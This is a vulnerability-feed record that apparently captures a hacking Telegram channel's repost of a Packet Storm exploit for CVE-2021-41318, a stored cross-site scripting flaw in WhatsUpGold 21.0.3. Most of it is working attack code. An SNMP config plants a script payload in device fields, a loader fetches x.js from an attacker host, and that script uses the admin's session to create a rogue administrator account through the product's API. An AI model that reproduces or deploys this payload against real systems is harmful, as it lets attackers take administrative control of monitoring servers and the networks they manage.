{"uuid": "306dfd7c-6fc2-46b6-b599-acdb5a1bdfb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41318", "type": "seen", "source": "https://t.me/hacking_Attack/25812", "content": "Exploit Collector\nWhatsUpGold 21.0.3 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png \nWhatsUpGold version 21.0.3 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 5678525158a3a9be5d1cc6c0849af63e\n\nDownload\n# Exploit Title: WhatsUpGold 21.0.3 - Stored Cross-Site Scripting (XSS)\n# Date: 09.17.2021\n# Exploit Author: Andreas Finstad (4ndr34z)\n# Vendor Homepage: https://www.whatsupgold.com\n# Version: v.21.0.3, Build 188\n# Tested on: Windows 2019 Server\n# CVE : CVE-2021-41318\n# Reference: https://f20.be/cves/poc-cve-2021-41318\n\nDescription:\nImproper validation of strings from discovered SNMP devices, makes the application prone to stored XXS attacks.\nPlacing a XSS payload in one of the fields reflected onto the application, triggers the exploitation.\nNo CSRF protection/token on adding/posting a new user account, makes it possible to create a rouge administrator, using a staged javascript delivered through the XSS.\n\nSNMP A nix computer placed on a subnet accessible from the server for discovery, you edit the SNMPd.conf, adding the payload:\n\n# snmpd.conf\n# An example configuration file for configuring the Net-SNMP agent ('snmpd')\n# See snmpd.conf(5) man page for details\n############################################################################\n# SECTION: System Information Setup\n# syslocation: The [typically physical] location of the system.\n# Note that setting this value here means that when trying to\n# perform an snmp SET operation to the sysLocation.0 variable will make\n# the agent return the \"notWritable\" error code.  IE, including\n# this token in the snmpd.conf file will disable write access to\n# the variable.\n# arguments:  location_string\nsysName Evil-Device\nsysLocation    Somewhere Over The Rainbow\nsysContact x \n\nThis is the base64 encoded string:\nvar a=document.createElement(\"script\");a.src=\"http://192.168.66.46/x.js\";document.body.appendChild(a);\n\nx.js:\nvar vhost = window.location.protocol+'\\/\\/'+window.location.host\nvar username = \"sysadmin\"\nvar password = \"me\"\n\nfetch(vhost+'/NmConsole/api/core/WebUser',{\nmethod: 'POST',\nheaders: {\n'Content-Length': '479',\n'Accept': 'application/json',\n'X-Requested-With': 'XMLHttpRequest',\n'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.51',\n'Content-Type': 'application/json',\n'Origin': vhost,\n'Referer': vhost+'/NmConsole/',\n'Accept-Encoding': 'gzip, deflate',\n'Accept-Language': 'nb,no;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,sv;q=0.5,fr;q=0.4',\n'Connection': 'close'\n},\ncredentials: 'include',\nbody: '{\"HomeDeviceGroupID\":0,\"HomeDeviceGroupPath\":\"My Network\",\"LanguageID\":1033,\"UserRightsMask\":\"0\",\"IsDgarConfigured\":false,\"Groups\"   [1],\"WebUserID\":-1,\"UserName\":\"'+username+'\",\"AuthenticationType\":1,\"ApplyWebUiSessionTimeout\":true,\"ApplyLockoutPolicy\":false,\"ApplyPasswordAging\":false,\"ApplyPasswordComplexity\":false,\"ApplySessionPolicy\":false,\"FailedLoginCount\":0,\"IsLocked\":false,\"Password\":\"'+password+'\",\"UnlockUser\":false,\"WebConfigurationSettings\":\"\",\"id\":\"Wug.model.userManagement.WebUser-2\"}'\n});\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:19.157549Z"}